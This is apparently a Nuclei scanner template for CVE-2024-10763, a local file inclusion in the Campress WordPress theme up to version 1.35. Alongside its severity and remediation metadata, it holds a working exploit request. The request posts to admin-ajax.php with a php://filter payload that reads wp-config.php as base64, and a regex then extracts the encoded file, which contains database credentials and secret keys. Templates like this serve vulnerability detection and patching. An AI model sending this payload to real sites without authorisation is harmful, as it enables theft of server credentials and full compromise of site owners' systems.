WordPress Campress Theme <= 1.35 - Unauthenticated Local File Inclusion

id: CVE-2024-10763

info:
  name: WordPress Campress Theme <= 1.35 - Unauthenticated Local File Inclusion
  author: pussycat0x
  severity: critical
  description: |
    Campress theme for WordPress up to 1.35 contains a local file inclusion caused by 'campress_woocommerce_get_ajax_products' function, letting unauthenticated attackers include and execute arbitrary PHP files, exploit requires no authentication.
  impact: |
    Attackers can include and execute arbitrary PHP files, leading to remote code execution and potential full server compromise.
  remediation: |
    Update to the latest version beyond 1.35.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/campress/campress-135-unauthenticated-local-file-inclusion
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-10763
    epss-score: 0.03655
    epss-percentile: 0.89569
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,wordpress,wp-theme,campress,lfi,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/")'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=campress_woocommerce_get_ajax_products&layout=php://filter/convert.base64-encode/resource=/var/www/html/wp-config

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "PD9waH", "ZGVmaW5l")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 0
        regex:
          - '[A-Za-z0-9+/]{50,}={0,2}'
# digest: 4a0a0047304502202bd4ad0a33b414fc206b49a3833895ec354df652c763362cdb44c3cae2fef3ac022100c11de38f5de20774002bb56b6d1318a048f24c4cf8689cc9d6bcee3b9db9fb3c:922c64590222798bb761d5b6d8e72950